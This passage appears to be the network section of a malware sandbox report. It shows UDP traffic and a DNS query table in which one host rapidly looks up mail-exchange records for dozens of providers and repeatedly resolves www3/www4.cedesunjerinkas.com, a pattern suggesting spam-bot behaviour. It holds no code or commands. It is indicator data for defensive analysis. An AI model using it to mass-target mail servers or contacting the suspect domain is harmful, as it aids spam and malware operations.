Jan 7, 2022 15:44:53.170589924 CET	49636	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.189443111 CET	53	49636	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.202621937 CET	51756	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.221328974 CET	53	51756	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.233525038 CET	62661	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.252243996 CET	53	62661	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.265086889 CET	65102	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.281780958 CET	53	65102	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.296772957 CET	56828	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.315464020 CET	53	56828	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.326011896 CET	64722	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.343097925 CET	53	64722	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.358205080 CET	61485	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.377089024 CET	53	61485	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.390626907 CET	49608	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.407706022 CET	53	49608	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.423835993 CET	50621	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.442549944 CET	53	50621	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.446779966 CET	51550	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.452620029 CET	55709	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.465403080 CET	53	51550	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.471436977 CET	53	55709	8.8.8.8	192.168.2.6
Jan 7, 2022 15:45:01.523684978 CET	62000	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:45:01.542649031 CET	53	62000	8.8.8.8	192.168.2.6
Jan 7, 2022 15:45:03.139645100 CET	54950	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:45:03.157915115 CET	53	54950	8.8.8.8	192.168.2.6
Jan 7, 2022 15:45:03.734273911 CET	56670	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:45:03.753324986 CET	53	56670	8.8.8.8	192.168.2.6
Jan 7, 2022 15:45:06.596481085 CET	49819	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:45:06.613606930 CET	53	49819	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 7, 2022 15:42:39.859246016 CET	192.168.2.6	8.8.8.8	0xd228	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:39.970640898 CET	192.168.2.6	8.8.8.8	0x9a5	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.008066893 CET	192.168.2.6	8.8.8.8	0xbe4c	Standard query (0)	mta5.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.054297924 CET	192.168.2.6	8.8.8.8	0x8e87	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.138849974 CET	192.168.2.6	8.8.8.8	0x199	Standard query (0)	www4.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.194456100 CET	192.168.2.6	8.8.8.8	0xc57f	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:40.214345932 CET	192.168.2.6	8.8.8.8	0xb3e6	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.235718966 CET	192.168.2.6	8.8.8.8	0xbd83	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.257447958 CET	192.168.2.6	8.8.8.8	0x1c22	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.279301882 CET	192.168.2.6	8.8.8.8	0x8722	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.307836056 CET	192.168.2.6	8.8.8.8	0xed98	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.356440067 CET	192.168.2.6	8.8.8.8	0xa02f	Standard query (0)	hotmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:40.377882957 CET	192.168.2.6	8.8.8.8	0xc315	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.595124006 CET	192.168.2.6	8.8.8.8	0xd507	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:44.180003881 CET	192.168.2.6	8.8.8.8	0x7d32	Standard query (0)	yandex.ru	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:44.201246023 CET	192.168.2.6	8.8.8.8	0xe374	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:45.271183014 CET	192.168.2.6	8.8.8.8	0xaae9	Standard query (0)	tut.by	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:45.291946888 CET	192.168.2.6	8.8.8.8	0xaca4	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:46.470040083 CET	192.168.2.6	8.8.8.8	0x43aa	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:46.490412951 CET	192.168.2.6	8.8.8.8	0x25b0	Standard query (0)	mx00.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:46.510795116 CET	192.168.2.6	8.8.8.8	0xee86	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:50.252504110 CET	192.168.2.6	8.8.8.8	0x6925	Standard query (0)	bigmir.net	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:50.272695065 CET	192.168.2.6	8.8.8.8	0x1c78	Standard query (0)	mx3.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:50.295320034 CET	192.168.2.6	8.8.8.8	0xd307	Standard query (0)	mx10.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:50.316132069 CET	192.168.2.6	8.8.8.8	0xa2cb	Standard query (0)	mx12.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:50.339575052 CET	192.168.2.6	8.8.8.8	0x1d50	Standard query (0)	mx13.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:50.361334085 CET	192.168.2.6	8.8.8.8	0x6abb	Standard query (0)	mx1.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:51.329169989 CET	192.168.2.6	8.8.8.8	0xbba0	Standard query (0)	inbox.lv	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:51.351622105 CET	192.168.2.6	8.8.8.8	0x3e9e	Standard query (0)	mx1.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:51.376250982 CET	192.168.2.6	8.8.8.8	0xc036	Standard query (0)	mx2.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:51.941519976 CET	192.168.2.6	8.8.8.8	0x74a	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:51.963363886 CET	192.168.2.6	8.8.8.8	0x8bd6	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:52.984749079 CET	192.168.2.6	8.8.8.8	0x2a8b	Standard query (0)	telering.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:53.020217896 CET	192.168.2.6	8.8.8.8	0x51f	Standard query (0)	mx3c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:53.045526028 CET	192.168.2.6	8.8.8.8	0x5d0d	Standard query (0)	mx2c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:53.071995020 CET	192.168.2.6	8.8.8.8	0x4da	Standard query (0)	mx1c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.089317083 CET	192.168.2.6	8.8.8.8	0xf29f	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:55.111010075 CET	192.168.2.6	8.8.8.8	0x73a4	Standard query (0)	mta5.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.129780054 CET	192.168.2.6	8.8.8.8	0xdb4c	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.153701067 CET	192.168.2.6	8.8.8.8	0x4de4	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.470927954 CET	192.168.2.6	8.8.8.8	0x6b5b	Standard query (0)	hotmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:55.492965937 CET	192.168.2.6	8.8.8.8	0xa363	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.730329990 CET	192.168.2.6	8.8.8.8	0x8c0f	Standard query (0)	yandex.ru	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:55.753998995 CET	192.168.2.6	8.8.8.8	0xb64c	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:56.016231060 CET	192.168.2.6	8.8.8.8	0xc7f3	Standard query (0)	tut.by	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:56.037198067 CET	192.168.2.6	8.8.8.8	0x4ad1	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:56.626439095 CET	192.168.2.6	8.8.8.8	0xfd	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:56.650507927 CET	192.168.2.6	8.8.8.8	0x1f61	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:56.677476883 CET	192.168.2.6	8.8.8.8	0x1d62	Standard query (0)	mx00.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:59.932161093 CET	192.168.2.6	8.8.8.8	0x7062	Standard query (0)	inbox.lv	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:59.953293085 CET	192.168.2.6	8.8.8.8	0x9690	Standard query (0)	mx2.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:59.976969004 CET	192.168.2.6	8.8.8.8	0xe38c	Standard query (0)	mx1.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.056111097 CET	192.168.2.6	8.8.8.8	0x3d55	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.094012976 CET	192.168.2.6	8.8.8.8	0xb466	Standard query (0)	mta5.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.134042025 CET	192.168.2.6	8.8.8.8	0x20bb	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.161859989 CET	192.168.2.6	8.8.8.8	0xed83	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.183856964 CET	192.168.2.6	8.8.8.8	0x7cb7	Standard query (0)	www4.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.300576925 CET	192.168.2.6	8.8.8.8	0x1da2	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.323129892 CET	192.168.2.6	8.8.8.8	0x29d7	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.355676889 CET	192.168.2.6	8.8.8.8	0xac9	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.381537914 CET	192.168.2.6	8.8.8.8	0x4bf5	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.401422977 CET	192.168.2.6	8.8.8.8	0x4091	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.433181047 CET	192.168.2.6	8.8.8.8	0xe07c	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.481391907 CET	192.168.2.6	8.8.8.8	0xa177	Standard query (0)	hotmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.503155947 CET	192.168.2.6	8.8.8.8	0xf9a4	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.616314888 CET	192.168.2.6	8.8.8.8	0xc5d2	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.632596970 CET	192.168.2.6	8.8.8.8	0xcdc3	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.648462057 CET	192.168.2.6	8.8.8.8	0x670b	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.794572115 CET	192.168.2.6	8.8.8.8	0xa40c	Standard query (0)	yandex.ru	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.795352936 CET	192.168.2.6	8.8.8.8	0x295e	Standard query (0)	tut.by	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.815984011 CET	192.168.2.6	8.8.8.8	0x3c28	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.171770096 CET	192.168.2.6	8.8.8.8	0x5109	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:01.172036886 CET	192.168.2.6	8.8.8.8	0xa9e3	Standard query (0)	bigmir.net	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:01.211848021 CET	192.168.2.6	8.8.8.8	0xecd0	Standard query (0)	mx3.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.211921930 CET	192.168.2.6	8.8.8.8	0x6557	Standard query (0)	mx00.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.233311892 CET	192.168.2.6	8.8.8.8	0xee5f	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.233881950 CET	192.168.2.6	8.8.8.8	0xc8a5	Standard query (0)	mx10.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.254961967 CET	192.168.2.6	8.8.8.8	0xd6a0	Standard query (0)	mx12.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.275758982 CET	192.168.2.6	8.8.8.8	0xd18	Standard query (0)	mx13.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.326880932 CET	192.168.2.6	8.8.8.8	0x767f	Standard query (0)	mx1.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.827986956 CET	192.168.2.6	8.8.8.8	0x62eb	Standard query (0)	inbox.lv	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:01.849302053 CET	192.168.2.6	8.8.8.8	0x7be6	Standard query (0)	mx2.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.871912956 CET	192.168.2.6	8.8.8.8	0x5879	Standard query (0)	mx1.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.130620003 CET	192.168.2.6	8.8.8.8	0xa31f	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.161811113 CET	192.168.2.6	8.8.8.8	0x4c51	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.203635931 CET	192.168.2.6	8.8.8.8	0x237	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.245505095 CET	192.168.2.6	8.8.8.8	0xc411	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.339976072 CET	192.168.2.6	8.8.8.8	0x8e97	Standard query (0)	telering.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.360651970 CET	192.168.2.6	8.8.8.8	0x4da7	Standard query (0)	mx2c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.380156040 CET	192.168.2.6	8.8.8.8	0x56bb	Standard query (0)	mx3c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.401405096 CET	192.168.2.6	8.8.8.8	0x46d1	Standard query (0)	mx1c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.542294025 CET	192.168.2.6	8.8.8.8	0x63b3	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.563410044 CET	192.168.2.6	8.8.8.8	0x5526	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.725367069 CET	192.168.2.6	8.8.8.8	0x545f	Standard query (0)	au.au-net.ne.jp	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.797005892 CET	192.168.2.6	8.8.8.8	0x88c9	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.815220118 CET	192.168.2.6	8.8.8.8	0x26e9	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.858990908 CET	192.168.2.6	8.8.8.8	0xc69f	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.880230904 CET	192.168.2.6	8.8.8.8	0x68b	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:03.031306028 CET	192.168.2.6	8.8.8.8	0x370	Standard query (0)	aol.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:03.054553032 CET	192.168.2.6	8.8.8.8	0x652d	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:03.171902895 CET	192.168.2.6	8.8.8.8	0xdcd3	Standard query (0)	au.au-net.ne.jp	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:04.273231983 CET	192.168.2.6	8.8.8.8	0xe440	Standard query (0)	wxyz.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:04.296348095 CET	192.168.2.6	8.8.8.8	0xdf81	Standard query (0)	mxa-0028be01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:04.451786995 CET	192.168.2.6	8.8.8.8	0x9d86	Standard query (0)	mxb-0028be01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:05.438354969 CET	192.168.2.6	8.8.8.8	0x3bda	Standard query (0)	quatro.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:05.645740986 CET	192.168.2.6	8.8.8.8	0xcf24	Standard query (0)	animo.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:05.905977011 CET	192.168.2.6	8.8.8.8	0xfe20	Standard query (0)	pirajui.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:06.152646065 CET	192.168.2.6	8.8.8.8	0x22dc	Standard query (0)	musical.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:06.540795088 CET	192.168.2.6	8.8.8.8	0x1972	Standard query (0)	contoso.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:11.530853033 CET	192.168.2.6	8.8.8.8	0xdb2	Standard query (0)	xyz.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:11.555354118 CET	192.168.2.6	8.8.8.8	0x59c9	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:11.598994017 CET	192.168.2.6	8.8.8.8	0xb1eb	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:11.619368076 CET	192.168.2.6	8.8.8.8	0x53ba	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:11.646986961 CET	192.168.2.6	8.8.8.8	0x88b4	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:11.667985916 CET	192.168.2.6	8.8.8.8	0xf526	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:12.472048044 CET	192.168.2.6	8.8.8.8	0xe77f	Standard query (0)	xyz.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:12.700150013 CET	192.168.2.6	8.8.8.8	0x3f4	Standard query (0)	mx1.mailchannels.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:12.723164082 CET	192.168.2.6	8.8.8.8	0x5a82	Standard query (0)	mx2.mailchannels.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:13.033278942 CET	192.168.2.6	8.8.8.8	0xe457	Standard query (0)	contoso.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:16.378437996 CET	192.168.2.6	8.8.8.8	0x3f70	Standard query (0)	x.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:16.772202969 CET	192.168.2.6	8.8.8.8	0x8d99	Standard query (0)	contoso.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:17.236401081 CET	192.168.2.6	8.8.8.8	0x3fed	Standard query (0)	contoso.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:17.484442949 CET	192.168.2.6	8.8.8.8	0x5da2	Standard query (0)	kywx.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:18.103327990 CET	192.168.2.6	8.8.8.8	0x45da	Standard query (0)	aaw.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:18.948661089 CET	192.168.2.6	8.8.8.8	0x579d	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:18.954781055 CET	192.168.2.6	8.8.8.8	0xd7b4	Standard query (0)	aol.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:18.974917889 CET	192.168.2.6	8.8.8.8	0x7d46	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:18.980065107 CET	192.168.2.6	8.8.8.8	0xf366	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.375569105 CET	192.168.2.6	8.8.8.8	0x9cc3	Standard query (0)	griepp.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.423597097 CET	192.168.2.6	8.8.8.8	0x52fa	Standard query (0)	quatro.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.425616980 CET	192.168.2.6	8.8.8.8	0x2dce	Standard query (0)	contoso.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.425942898 CET	192.168.2.6	8.8.8.8	0x31d7	Standard query (0)	musical.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.426179886 CET	192.168.2.6	8.8.8.8	0xba49	Standard query (0)	pirajui.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.426372051 CET	192.168.2.6	8.8.8.8	0x79a4	Standard query (0)	xyz.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.426467896 CET	192.168.2.6	8.8.8.8	0xf680	Standard query (0)	animo.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.426748991 CET	192.168.2.6	8.8.8.8	0xa2fc	Standard query (0)	wxyz.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.447037935 CET	192.168.2.6	8.8.8.8	0x4d27	Standard query (0)	mxa-0028be01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.449975014 CET	192.168.2.6	8.8.8.8	0xb89d	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.453835964 CET	192.168.2.6	8.8.8.8	0xa81a	Standard query (0)	xyz.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.469961882 CET	192.168.2.6	8.8.8.8	0x9957	Standard query (0)	contoso.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.470139980 CET	192.168.2.6	8.8.8.8	0x8c70	Standard query (0)	x.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.473473072 CET	192.168.2.6	8.8.8.8	0x438c	Standard query (0)	mx2.mailchannels.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.475208998 CET	192.168.2.6	8.8.8.8	0x4	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.496929884 CET	192.168.2.6	8.8.8.8	0x2d0e	Standard query (0)	mx1.mailchannels.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.505637884 CET	192.168.2.6	8.8.8.8	0xa87b	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.522567034 CET	192.168.2.6	8.8.8.8	0xe683	Standard query (0)	contoso.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.525352001 CET	192.168.2.6	8.8.8.8	0x9a75	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.546881914 CET	192.168.2.6	8.8.8.8	0xbb86	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.564070940 CET	192.168.2.6	8.8.8.8	0xbd8	Standard query (0)	aaw.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.564213037 CET	192.168.2.6	8.8.8.8	0xa1b5	Standard query (0)	kywx.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.579058886 CET	192.168.2.6	8.8.8.8	0x7da7	Standard query (0)	griepp.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.594898939 CET	192.168.2.6	8.8.8.8	0xaff0	Standard query (0)	oopp.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.594959021 CET	192.168.2.6	8.8.8.8	0xeb62	Standard query (0)	wewew.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.610537052 CET	192.168.2.6	8.8.8.8	0xa28a	Standard query (0)	riekk.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.621129036 CET	192.168.2.6	8.8.8.8	0xf382	Standard query (0)	mxb-0028be01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.625858068 CET	192.168.2.6	8.8.8.8	0x7f10	Standard query (0)	fafa.pk	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.635505915 CET	192.168.2.6	8.8.8.8	0x3ab1	Standard query (0)	oopp.pl	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.657706976 CET	192.168.2.6	8.8.8.8	0x5580	Standard query (0)	xara.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.672925949 CET	192.168.2.6	8.8.8.8	0xf5bf	Standard query (0)	lufka.zx	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.720366955 CET	192.168.2.6	8.8.8.8	0x2101	Standard query (0)	fanfary.pq	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.735413074 CET	192.168.2.6	8.8.8.8	0xd2b6	Standard query (0)	fajrant.qz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.751065016 CET	192.168.2.6	8.8.8.8	0x4b59	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.766927004 CET	192.168.2.6	8.8.8.8	0x5f95	Standard query (0)	fabrikam.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.771368027 CET	192.168.2.6	8.8.8.8	0x6ec2	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.802537918 CET	192.168.2.6	8.8.8.8	0xbf26	Standard query (0)	mail.fabrikam.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.377147913 CET	192.168.2.6	8.8.8.8	0x2b9f	Standard query (0)	adatum.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:20.412925959 CET	192.168.2.6	8.8.8.8	0xd728	Standard query (0)	mail.adatum.com	A (IP address)	IN (0x0001)
